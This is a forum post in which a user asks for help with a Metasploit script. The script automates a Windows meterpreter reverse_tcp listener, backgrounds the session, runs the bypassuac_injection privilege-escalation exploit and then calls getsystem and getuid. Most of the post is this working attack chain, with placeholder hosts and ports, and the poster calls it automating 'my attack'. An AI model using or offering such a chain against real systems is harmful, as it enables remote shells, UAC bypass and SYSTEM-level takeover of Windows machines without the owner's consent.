Forum Thread: Need Help with My Meterpreter AutoRunScript Script

I am trying to automate my attack a bit. Im trying to start a listener, wait for a connection, background the session when opened, run a privilege escalation exploit and at last run getsystem and getuid. However im having some trouble with the background command. It starts the listener perfectly and when a connection is made it starts session 1 and tries to background however (as you can see on the picture) it's kinda stuck in the "Backgrounding session 1", if i press enter it continues the script, however it annoys me that it needs user input to continue, can i do anything about this?

NOTE: It requires the user to press enter after getsystem and getuid is run as well.

use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST (LOCAL IP)
set LPORT (PORT NUMBER)
set AutoRunScript multiconsolecommand -cl "background"
exploit #Starts the listener
#AutoRunScript is run
use exploit/windows/local/bypassuac_injection
set payload windows/x64/meterpreter/reverse_tcp
set lhost (LOCAL IP)
set LPORT (PORT NUMBER)
set session 1
set target 1
set AutoRunScript multiconsolecommand -cl "getsystem","getuid"
exploit #Runs Priv_Escalation
#AutoRunScript is run

Be the First to Respond

Share Your Thoughts

  • Hot
  • Active